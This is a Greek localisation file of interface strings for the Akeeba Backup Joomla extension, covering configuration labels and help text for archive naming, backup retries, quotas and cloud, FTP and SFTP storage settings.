COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Πρότυπο ονοματοδοσίας για το αρχείο αντιγράφου ασφαλείας, όπου εφαρμόζεται. Μπορείτε να χρησιμοποιήσετε τις παρακάτω μακροεντολές:<ul><li><strong>[HOST]</strong> Το όνομα κεντρικού υπολογιστή. ΠΡΟΕΙΔΟΠΟΙΗΣΗ! Αυτή η ετικέτα δεν λειτουργεί σε λειτουργία CRON.</li><li><strong>[DATE]</strong> Τρέχουσα ημερομηνία</li><li><strong>[TIME_TZ]</strong> Τρέχουσα ώρα και ζώνη ώρας</li></ul>Περισσότερες είναι διαθέσιμες· ανατρέξτε στην τεκμηρίωση."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Όνομα αρχείου αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Ορίζει τη μορφή αρχείου του Akeeba Backup. Ορισμένες μηχανές, όπως το DirectFTP, δεν παράγουν πραγματικά αρχεία, αλλά αναλαμβάνουν τη μεταφορά των αρχείων σας σε άλλους διακομιστές."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Μηχανή αρχειοθέτησης"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="Όταν αυτή η επιλογή δεν είναι επιλεγμένη, το Akeeba Backup θα διακόπτει τη δημιουργία αντιγράφου ασφαλείας όταν ο διακομιστής απαντά με σφάλμα. Όταν αυτή η επιλογή είναι ενεργοποιημένη, το Akeeba Backup θα προσπαθήσει να συνεχίσει την δημιουργία αντιγράφου ασφαλείας επαναλαμβάνοντας το τελευταίο βήμα. Αυτό ισχύει μόνο για δημιουργία αντιγράφων ασφαλείας μέσω διαχείρισης. Επίσης, δεν θα σας επιτρέψει να συνεχίσετε επιτυχώς όλα τα αντίγραφα ασφαλείας που οδηγούν σε σφάλμα: μόνο οι προσπάθειες δημιουργίας αντιγράφων ασφαλείας που αποκλείονται προσωρινά από περιορισμούς χρήσης CPU του διακομιστή ή προβλήματα δικτύου μπορούν να συνεχιστούν."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="Πόσες φορές πρέπει να προσπαθεί το Akeeba Backup να συνεχίσει τη δημιουργία αντιγράφου ασφαλείας πριν τελικά εγκαταλείψει. Οι 3 έως 5 επαναλήψεις λειτουργούν καλύτερα στους περισσότερους διακομιστές."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Μέγιστες επαναλήψεις βήματος αντιγράφου ασφαλείας μετά από σφάλμα AJAX"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="Πόσα δευτερόλεπτα να περιμένει πριν συνεχίσει τη δημιουργία αντιγράφου ασφαλείας. Συνιστάται να ορίσετε αυτό σε 30 δευτερόλεπτα ή περισσότερο (συνιστώνται 120 δευτερόλεπτα στις περισσότερες περιπτώσεις) για να δώσετε στον διακομιστή σας τον απαραίτητο χρόνο για να ξεμπλοκάρει τη διαδικασία δημιουργίας αντιγράφου ασφαλείας πριν το Akeeba Backup προσπαθήσει ξανά να την ολοκληρώσει."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Περίοδος αναμονής πριν από την επανάληψη του βήματος αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Συνέχιση αντιγράφου ασφαλείας μετά από σφάλμα AJAX"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="Το όνομα του λογαριασμού σας. Εάν το endpoint σας είναι foobar.blob.core.windows.net τότε το όνομα λογαριασμού σας είναι <strong>foobar</strong> και πρέπει να πληκτρολογήσετε <em>foobar</em> σε αυτό το πλαίσιο."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Όνομα λογαριασμού"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="Ο χώρος αποθήκευσης BLOB του Windows Azure για τη φύλαξη των αρχείων αντιγράφων ασφαλείας. Ο χώρος αποθήκευσης πρέπει να υπάρχει ήδη."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Χώρος αποθήκευσης"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="Ο κατάλογος μέσα στον χώρο αποθήκευσης BLOB του Windows Azure για την αποθήκευση των αρχείων αντιγράφων ασφαλείας. Για αποθήκευση στον ριζικό κατάλογο του χώρου αποθήκευσης, αφήστε κενό."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="Μπορείτε να βρείτε το Πρωτεύον Κλειδί Πρόσβασης στη σελίδα λογαριασμού σας στο windows.azure.com. Αντιγράψτε και επικολλήστε το εδώ. Πάντα έχει δύο σημεία ίσον στο τέλος."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Πρωτεύον κλειδί πρόσβασης"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Εισαγάγετε το αναγνωριστικό κλειδιού εφαρμογής BackBlaze. Μπορείτε να βρείτε αυτές τις πληροφορίες στη <a href='https://secure.backblaze.com/b2_buckets.htm'>σελίδα λογαριασμού BackBlaze</a> αφού κάνετε κλικ στο «Show Account ID and Application Key». Εάν χρησιμοποιείτε το κύριο κλειδί, εισαγάγετε αντ' αυτού το αναγνωριστικό λογαριασμού σας."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="Αναγνωριστικό κλειδιού εφαρμογής"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Εισαγάγετε το κλειδί εφαρμογής BackBlaze. Μπορείτε να βρείτε αυτές τις πληροφορίες στη <a href='https://secure.backblaze.com/b2_buckets.htm'>σελίδα λογαριασμού BackBlaze</a> αφού κάνετε κλικ στο «Show Account ID and Application Key». <strong>ΠΡΟΕΙΔΟΠΟΙΗΣΗ</strong>! Αυτό εμφανίζεται μόνο ΜΙΑ ΦΟΡΑ από το BackBlaze. Για να το εμφανίσετε ξανά θα πρέπει να αναγεννήσετε το Κλειδί Εφαρμογής, με αποτέλεσμα να αποσυνδεθούν ΟΛΕΣ οι προηγουμένως συνδεδεμένες περιπτώσεις Akeeba Backup μέχρι να εισαγάγετε εκεί το <em>νέο</em> Κλειδί Εφαρμογής."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_TITLE="Κλειδί εφαρμογής"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_DESCRIPTION="Το όνομα του bucket Backblaze"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_BUCKET_TITLE="Bucket"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DIRECTORY_DESCRIPTION="Ο κατάλογος μέσα στο bucket σας όπου θα αποθηκεύονται τα αρχεία αντιγράφων ασφαλείας. Αφήστε κενό για αποθήκευση αρχείων στον ριζικό κατάλογο του bucket."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_DESCRIPTION="Όταν ενεργοποιείτε αυτή την επιλογή, το Akeeba Backup θα εκτελεί μονόμερη μεταφόρτωση στο Backblaze. Θα πρέπει να χρησιμοποιήσετε μικρότερο μέγεθος τμήματος για τη ρύθμιση Διαχωρισμένων Αρχείων στη ρύθμιση της Μηχανής Αρχειοθέτησης για να αποτρέψετε το timeout της μεταφόρτωσης, που θα προκαλούσε αποτυχία της διαδικασίας δημιουργίας αντιγράφου ασφαλείας."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_DISABLEMULTIPART_TITLE="Απενεργοποίηση μεταφορτώσεων πολλαπλών τμημάτων"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_DESC="Επιλογές που καθοδηγούν το Akeeba Backup στον χειρισμό δέσμης ενεργειών διαχείρισης"
COM_AKEEBABACKUP_CONFIG_BACKEND_HEADER_LABEL="Διαχείριση"
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_DESC="Να μεταφράζουμε την ώρα έναρξης αντιγράφου ασφαλείας στη ζώνη ώρας του τρέχοντος συνδεδεμένου χρήστη στη σελίδα Διαχείρισης Αντιγράφων Ασφαλείας; Εάν ορίσετε Όχι, όλοι οι χρόνοι έναρξης αντιγράφων ασφαλείας εμφανίζονται στη ζώνη ώρας GMT. Αυτή η επιλογή ΔΕΝ επηρεάζει τις μεταβλητές [DATE] και [TIME] για την ονοματοδοσία αρχείων αντιγράφων ασφαλείας ή την προεπιλεγμένη περιγραφή· χρησιμοποιήστε την επιλογή Ζώνη ώρας αντιγράφου ασφαλείας για να αλλάξετε τον τρόπο λειτουργίας αυτών των μεταβλητών."
COM_AKEEBABACKUP_CONFIG_BACKEND_LOCALTIME_LABEL="Τοπική ώρα στη Διαχείριση Αντιγράφων Ασφαλείας"
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_DESC="Να δίνω στους χρήστες που επαναφέρουν έναν ιστότοπο την επιλογή διαγραφής όλων πριν από την εξαγωγή ενός αρχείου; Αυτή η επιλογή ισχύει μόνο για την Επαγγελματική έκδοση του λογισμικού μας. ΠΡΟΕΙΔΟΠΟΙΗΣΗ! ΑΥΤΟ ΕΙΝΑΙ ΕΞΑΙΡΕΤΙΚΑ ΕΠΙΚΙΝΔΥΝΟ. ΔΙΑΒΑΣΤΕ ΤΗΝ ΤΕΚΜΗΡΙΩΣΗ ΠΟΛΥ ΠΡΟΣΕΚΤΙΚΑ ΠΡΙΝ ΤΗΝ ΕΝΕΡΓΟΠΟΙΗΣΕΤΕ. ΕΑΝ ΧΡΗΣΙΜΟΠΟΙΗΣΕΤΕ ΑΥΤΗ ΤΗ ΛΕΙΤΟΥΡΓΙΑ ΚΑΤΑ ΤΗΝ ΕΠΑΝΑΦΟΡΑ, ΠΑΡΑΙΤΕΙΣΘΕ ΑΠΟ ΟΠΟΙΟΔΗΠΟΤΕ ΔΙΚΑΙΩΜΑ ΥΠΟΣΤΗΡΙΞΗΣ ΚΑΙ ΑΝΑΛΑΜΒΑΝΕΤΕ ΟΛΗ ΤΗΝ ΕΥΘΥΝΗ ΚΑΙ ΥΠΟΧΡΕΩΣΗ."
COM_AKEEBABACKUP_CONFIG_BACKEND_SHOWDELETEONRESTORE_LABEL="Εμφάνιση της επιλογής «Διαγραφή όλων πριν από την εξαγωγή»"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_ABBREVIATION="Ζώνη ώρας"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_DESC="Η κατάληξη ζώνης ώρας που εμφανίζεται δίπλα στην ώρα έναρξης αντιγράφου ασφαλείας στη σελίδα Διαχείρισης Αντιγράφων Ασφαλείας.<br/>Καμία: δεν εμφανίζεται κατάληξη (δεν συνιστάται).<br/>Ζώνη ώρας: μια συντομογραφία ζώνης ώρας, π.χ. CEST για Κεντρική Ευρωπαϊκή Θερινή Ώρα.<br/>Μετατόπιση GMT: η μετατόπιση από τη ζώνη ώρας GMT, π.χ. GMT+01:00 (= δύο ώρες μπροστά από GMT, δηλαδή Κεντρική Ευρωπαϊκή Τυπική Ώρα). Σημειώστε ότι κατά τη θερινή ώρα, η μετατόπιση GMT είναι +1 ώρα σε σχέση με τη συνήθη ζώνη ώρας. Αυτή η διαφορά μετατόπισης ΘΑ εμφανίζεται σε αυτή τη μορφή."
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_GMTOFFSET="Μετατόπιση GMT"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_LABEL="Κατάληξη ζώνης ώρας"
COM_AKEEBABACKUP_CONFIG_BACKEND_TIMEZONETEXT_NONE="Καμία"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_ALLDB="Όλες οι ρυθμισμένες βάσεις δεδομένων (αρχείο αρχειοθέτησης)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DBONLY="Μόνο η κύρια βάση δεδομένων ιστότοπου (αρχείο SQL)"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_DESCRIPTION="Ποιο είδος αντιγράφου ασφαλείας ιστότοπου θέλετε να εκτελεί το Akeeba Backup"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FILEONLY="Μόνο αρχεία ιστότοπου"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_FULL="Πλήρες αντίγραφο ασφαλείας ιστότοπου"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFILE="Μόνο αρχεία, αυξητικό"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_INCFULL="Πλήρης ιστότοπος, αυξητικά αρχεία"
COM_AKEEBABACKUP_CONFIG_BACKUPTYPE_TITLE="Τύπος αντιγράφου ασφαλείας"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_DESCRIPTION="Η μείωση αυτής της τιμής θα εξοικονομήσει μνήμη και θα αποφύγει σφάλματα HTTP 500 κατά τη δημιουργία αντιγράφων ασφαλείας μεγάλων πινάκων"
COM_AKEEBABACKUP_CONFIG_BACTHSIZE_TITLE="Αριθμός γραμμών ανά παρτίδα"
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_DESCRIPTION="Τα αρχεία μεγαλύτερα από αυτό το μέγεθος θα αποθηκεύονται ασυμπίεστα ή η επεξεργασία τους θα εκτείνεται σε πολλαπλά βήματα (ανάλογα με τη μηχανή αρχειοθέτησης) για αποφυγή timeout. Προτείνουμε να αυξήσετε αυτή την τιμή μόνο σε γρήγορους και αξιόπιστους διακομιστές."
COM_AKEEBABACKUP_CONFIG_BIGFILETHRESHOLD_TITLE="Κατώφλι μεγάλου αρχείου"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_DESCRIPTION="Αφαιρεί το όνομα χρήστη και τον κωδικό πρόσβασης των συνδέσεων βάσης δεδομένων από το αντίγραφο ασφαλείας"
COM_AKEEBABACKUP_CONFIG_BLANKOUTPASS_TITLE="Κενό πεδίο ονόματος χρήστη/κωδικού πρόσβασης"
COM_AKEEBABACKUP_CONFIG_BOX_ACCESSTOKEN_TITLE="Διακριτικό πρόσβασης"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_ENABLE="Ενεργοποίηση μεταφόρτωσης τμημάτων"
COM_AKEEBABACKUP_CONFIG_BOX_CHUNKUPLOAD_SIZE="Μέγεθος τμήματος"
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_DESCRIPTION="Ο κατάλογος μέσα στον λογαριασμό Box σας όπου θα αποθηκεύονται τα αρχεία αντιγράφων ασφαλείας. Αφήστε κενό για αποθήκευση αρχείων στον ριζικό κατάλογο του φακέλου Box."
COM_AKEEBABACKUP_CONFIG_BOX_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_DESC="Κάντε κλικ σε αυτό το κουμπί για να ανοίξετε ένα νέο παράθυρο όπου μπορείτε να συνδεθείτε στον λογαριασμό σας με τον πάροχο αποθήκευσης. Στη συνέχεια, κλείστε το αναδυόμενο παράθυρο και κάντε κλικ στο κουμπί Βήμα 2 παρακάτω."
COM_AKEEBABACKUP_CONFIG_BOX_OPENOAUTH_TITLE="Πιστοποίηση ταυτότητας - Ξεκινήστε εδώ"
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_DESCRIPTION="Συμπληρώνεται αυτόματα όταν ολοκληρώσετε το Βήμα 1 πιστοποίησης παραπάνω. ΜΗΝ μοιράζεστε το ίδιο διακριτικό σε πολλούς ιστότοπους. Αντ' αυτού, πιστοποιήστε κάθε ιστότοπο ξεχωριστά."
COM_AKEEBABACKUP_CONFIG_BOX_REFRESHTOKEN_TITLE="Διακριτικό ανανέωσης"
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_DESCRIPTION="Το Akeeba Backup επεξεργάζεται μεγάλα αρχεία σε μικρά τμήματα, για αποφυγή timeout. Αυτή η παράμετρος ορίζει το μέγιστο μέγεθος τμήματος για αυτό το είδος επεξεργασίας."
COM_AKEEBABACKUP_CONFIG_CHUNKSIZE_TITLE="Μέγεθος τμήματος για επεξεργασία μεγάλων αρχείων"
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_DESCRIPTION="Όταν αυτό το πλαίσιο δεν είναι επιλεγμένο (προεπιλογή) και το βήμα αντιγράφου ασφαλείας ολοκληρωθεί σε λιγότερο χρόνο από τον ρυθμισμένο ελάχιστο χρόνο εκτέλεσης, το Akeeba Backup θα έχει τον διακομιστή να περιμένει μέχρι να φτάσει αυτός ο χρόνος. Αυτό μπορεί να κάνει ορισμένους πολύ περιοριστικούς διακομιστές να τερματίσουν το αντίγραφο ασφαλείας σας. Η επιλογή αυτού του πλαισίου θα υλοποιήσει την περίοδο αναμονής στο πρόγραμμα περιήγησης, παρακάμπτοντας αυτόν τον περιορισμό. ΣΗΜΑΝΤΙΚΟ: Αυτή η επιλογή ισχύει μόνο για δημιουργία αντιγράφων ασφαλείας μέσω διαχείρισης. Τα αντίγραφα ασφαλείας μέσω frontend, JSON API (απομακρυσμένα) και Command-Line (CLI) εφαρμόζουν πάντα την αναμονή στην πλευρά του διακομιστή."
COM_AKEEBABACKUP_CONFIG_CLIENTSIDEWAIT_TITLE="Υλοποίηση ελάχιστου χρόνου εκτέλεσης στην πλευρά του client"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_DESCRIPTION="Το κλειδί API του CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESAPIKEY_TITLE="Κλειδί API"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_DESCRIPTION="Ο χώρος αποθήκευσης CloudFiles για τη φύλαξη των αρχείων αντιγράφων ασφαλείας"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESCONTAINER_TITLE="Χώρος αποθήκευσης"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_DESCRIPTION="Ο κατάλογος μέσα στον χώρο αποθήκευσης CloudFiles για την αποθήκευση των αρχείων αντιγράφων ασφαλείας. Για αποθήκευση στον ριζικό κατάλογο του χώρου αποθήκευσης, αφήστε κενό."
COM_AKEEBABACKUP_CONFIG_CLOUDFILESDIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_DESCRIPTION="Το όνομα χρήστη CloudFiles"
COM_AKEEBABACKUP_CONFIG_CLOUDFILESUSERNAME_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_DESCRIPTION="Ο κατάλογος μέσα στον λογαριασμό CloudMe σας όπου θα αποθηκεύονται τα αρχεία αντιγράφων ασφαλείας. Αφήστε κενό για αποθήκευση αρχείων στον ριζικό κατάλογο φακέλου CloudMe."
COM_AKEEBABACKUP_CONFIG_CLOUDME_DIRECTORY_TITLE="Κατάλογος"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_DESCRIPTION="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_CONFIG_CLOUDME_PASSWORD_TITLE="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_DESCRIPTION="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_CLOUDME_USERNAME_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_DESCRIPTION="Όταν είναι ενεργοποιημένο, το Akeeba Backup θα διαγράφει παλιά αρχεία αντιγράφων ασφαλείας εάν υπερβαίνουν το όριο που ορίζεται παρακάτω."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_ENABLE_TITLE="Ενεργοποίηση ορίου πλήθους"
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_DESCRIPTION="Το Akeeba Backup θα διαγράφει παλιά αρχεία αντιγράφων ασφαλείας εάν υπερβαίνουν το όριο που ορίζεται σε αυτή τη ρύθμιση. Τα αντίγραφα ασφαλείας πολλαπλών τμημάτων θεωρούνται ως <em>ένα</em> αρχείο!<br/><br/><strong>Συμβουλή</strong>: Επιλέξτε Προσαρμοσμένο και πληκτρολογήστε την επιθυμητή τιμή εάν δεν βρίσκεται στη λίστα."
COM_AKEEBABACKUP_CONFIG_COUNTQUOTA_VALUE_TITLE="Όριο πλήθους"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_DESC="Αλλάξτε τον τρόπο εμφάνισης της ημερομηνίας/ώρας έναρξης αντιγράφων ασφαλείας στη σελίδα Διαχείρισης Αντιγράφων Ασφαλείας. Αφήστε κενό για χρήση της προεπιλεγμένης μορφοποίησης. Μπορείτε να χρησιμοποιήσετε τις επιλογές μορφοποίησης της συνάρτησης date της PHP, βλ.: http://www.php.net/manual/en/function.date.php"
COM_AKEEBABACKUP_CONFIG_DATEFORMAT_LABEL="Μορφή ημερομηνίας"
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_DESCRIPTION="Εάν είναι ενεργοποιημένο, το αρχείο αντιγράφου ασφαλείας θα αφαιρείται από αυτόν τον διακομιστή μόλις ολοκληρωθεί επιτυχώς η μεταεπεξεργασία."
COM_AKEEBABACKUP_CONFIG_DELETEAFTER_TITLE="Διαγραφή αρχείου μετά την επεξεργασία"
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_DESCRIPTION="Όταν είναι ενεργοποιημένο, οι συμβολικοί δεσμοί θα ακολουθούνται όπως τα κανονικά αρχεία και κατάλογοι. Όταν δεν είναι επιλεγμένο, οι συμβολικοί δεσμοί δεν θα ακολουθούνται. Εάν χρησιμοποιείτε συμβολικούς δεσμούς που οδηγούν σε έναν άπειρο βρόχο δεσμών, αποεπιλέξτε αυτή την επιλογή."
COM_AKEEBABACKUP_CONFIG_DEREFERENCESYMLINKS_TITLE="Αποσύνδεση συμβολικών δεσμών"
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_DESC="Να σας ζητηθεί να επιτρέψετε την εμφάνιση ειδοποιήσεων επιφάνειας εργασίας; Οι ειδοποιήσεις επιφάνειας εργασίας εμφανίζονται όταν το αντίγραφο ασφαλείας ξεκινά, ολοκληρώνεται, εμφανίζει προειδοποίηση ή σταματά. Εμφανίζονται μόνο σε συμβατά προγράμματα περιήγησης (συνήθως: Chrome, Safari, Firefox, Opera) εάν δώσετε στο Akeeba Backup άδεια εμφάνισης ειδοποιήσεων επιφάνειας εργασίας όταν σας ζητηθεί στη σελίδα Πίνακα Ελέγχου. Αυτή η επιλογή ελέγχει μόνο εάν πρέπει να εμφανιστεί αυτή η προτροπή. Αφού αποδεχτείτε ή απορρίψετε τα δικαιώματα μηνυμάτων ειδοποίησης επιφάνειας εργασίας, αυτή η ρύθμιση δεν έχει <strong>κανένα αποτέλεσμα</strong>. Ο μόνος τρόπος ενεργοποίησης ή απενεργοποίησης ειδοποιήσεων επιφάνειας εργασίας θα είναι μέσω των ρυθμίσεων του προγράμματος περιήγησής σας."
COM_AKEEBABACKUP_CONFIG_DESKTOP_NOTIFICATIONS_LABEL="Αίτηση άδειας ειδοποιήσεων επιφάνειας εργασίας"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_DESCRIPTION="Εάν είναι ενεργοποιημένο, το Akeeba Backup θα προσπαθήσει να συνδεθεί στον διακομιστή FTP σας χρησιμοποιώντας κρυπτογραφημένη σύνδεση SSL. <strong>Αυτό δεν είναι το ίδιο με SFTP, SCP ή «Ασφαλές FTP»!</strong> Σημειώστε ότι εάν ο διακομιστής σας δεν υποστηρίζει αυτή τη μέθοδο θα λαμβάνετε σφάλματα σύνδεσης."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_FTPS_TITLE="Χρήση FTP μέσω SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_DESCRIPTION="Το όνομα κεντρικού υπολογιστή του διακομιστή FTP, χωρίς το πρωτόκολλο. Αυτό σημαίνει ότι το <code>ftp://example.com</code> είναι <strong>μη έγκυρο</strong> και το <code>example.com</code> είναι έγκυρο. Το Akeeba Backup υποστηρίζει μόνο διακομιστές FTP και FTPS. <u>Δεν</u> υποστηρίζει SFTP, SCP και άλλες παραλλαγές SSH."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_HOST_TITLE="Όνομα κεντρικού υπολογιστή"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_DESCRIPTION="Η απόλυτη <strong>FTP</strong> διαδρομή προς τον κατάλογο όπου θα ανεβούν τα αρχεία. Εάν δεν είστε σίγουροι, συνδεθείτε στον διακομιστή σας με το FileZilla, πλοηγηθείτε στον επιθυμητό κατάλογο και αντιγράψτε τη διαδρομή που εμφανίζεται στο δεξί πλαίσιο πάνω από τη λίστα καταλόγων. Συνήθως είναι κάτι σύντομο, όπως <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_INITDIR_TITLE="Αρχικός κατάλογος"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_DESCRIPTION="Χρήση παθητικής λειτουργίας FTP κατά τη μεταφορά δεδομένων. Αυτό είναι ενεργοποιημένο από προεπιλογή καθώς είναι η μόνη μέθοδος που λειτουργεί μέσω τειχών προστασίας που συνήθως εγκαθίστανται σε διακομιστές ιστού. Μην απενεργοποιήσετε εκτός εάν είστε βέβαιοι ότι ο διακομιστής ιστού σας δεν βρίσκεται πίσω από τείχος προστασίας και ο διακομιστής FTP σας απαιτεί απολύτως μεταφορές αρχείων σε ενεργητική λειτουργία."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSIVE_TITLE="Χρήση παθητικής λειτουργίας"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_DESCRIPTION="Ο κωδικός πρόσβασης του διακομιστή FTP. Συνήθως κάνει διάκριση πεζών-κεφαλαίων. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PASSWORD_TITLE="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_DESCRIPTION="Η θύρα του διακομιστή FTP. Η πιο κοινή ρύθμιση είναι 21. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_PORT_TITLE="Θύρα"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_DESCRIPTION="Χρησιμοποιήστε αυτό το κουμπί για να ελέγξετε τη σύνδεση FTP και να δείτε τα σφάλματα σύνδεσης σε περίπτωση αποτυχίας."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_FAIL="Αδύνατη η σύνδεση στον απομακρυσμένο διακομιστή FTP."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_OK="Η σύνδεση με τον απομακρυσμένο διακομιστή FTP δημιουργήθηκε επιτυχώς!"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_TEST_TITLE="Έλεγχος σύνδεσης FTP"
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_DESCRIPTION="Το όνομα χρήστη του διακομιστή FTP. Συνήθως κάνει διάκριση πεζών-κεφαλαίων. Εάν δεν είστε σίγουροι, επικοινωνήστε με τον διαχειριστή δικτύου σας."
COM_AKEEBABACKUP_CONFIG_DIRECTFTP_USER_TITLE="Όνομα χρήστη"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_DESCRIPTION="Εισαγάγετε το όνομα κεντρικού υπολογιστή ή τη διεύθυνση IP του διακομιστή SFTP σας"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_HOST_TITLE="Όνομα κεντρικού υπολογιστή"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_DESCRIPTION="Εισαγάγετε τον κατάλογο στον οποίο θα ανεβούν τα αρχεία. Εάν δεν είστε σίγουροι, χρησιμοποιήστε έναν SFTP client επιφάνειας εργασίας, συνδεθείτε στον διακομιστή σας, μεταβείτε στον επιθυμητό κατάλογο και αντιγράψτε τη διαδρομή που εμφανίζεται εκεί. Η διαδρομή πρέπει να είναι σε απόλυτη μορφή, π.χ. /users/myusername/public_html"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_INITDIR_TITLE="Αρχικός κατάλογος"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_DESCRIPTION="Ο κωδικός πρόσβασης SFTP"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PASSWORD_TITLE="Κωδικός πρόσβασης"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_DESCRIPTION="Η συνήθης θύρα για συνδέσεις SFTP είναι 22. Εάν ο διακομιστής σας χρησιμοποιεί διαφορετική θύρα, εισαγάγετέ την εδώ."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_PORT_TITLE="Θύρα"
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_DESCRIPTION="Χρησιμοποιήστε αυτό το κουμπί για να ελέγξετε τη σύνδεση SFTP και να δείτε τα σφάλματα σύνδεσης σε περίπτωση αποτυχίας."
COM_AKEEBABACKUP_CONFIG_DIRECTSFTP_TEST_FAIL="Αδύνατη η σύνδεση στον απομακρυσμένο διακομιστή SFTP. Το μήνυμα σφάλματος ήταν:"
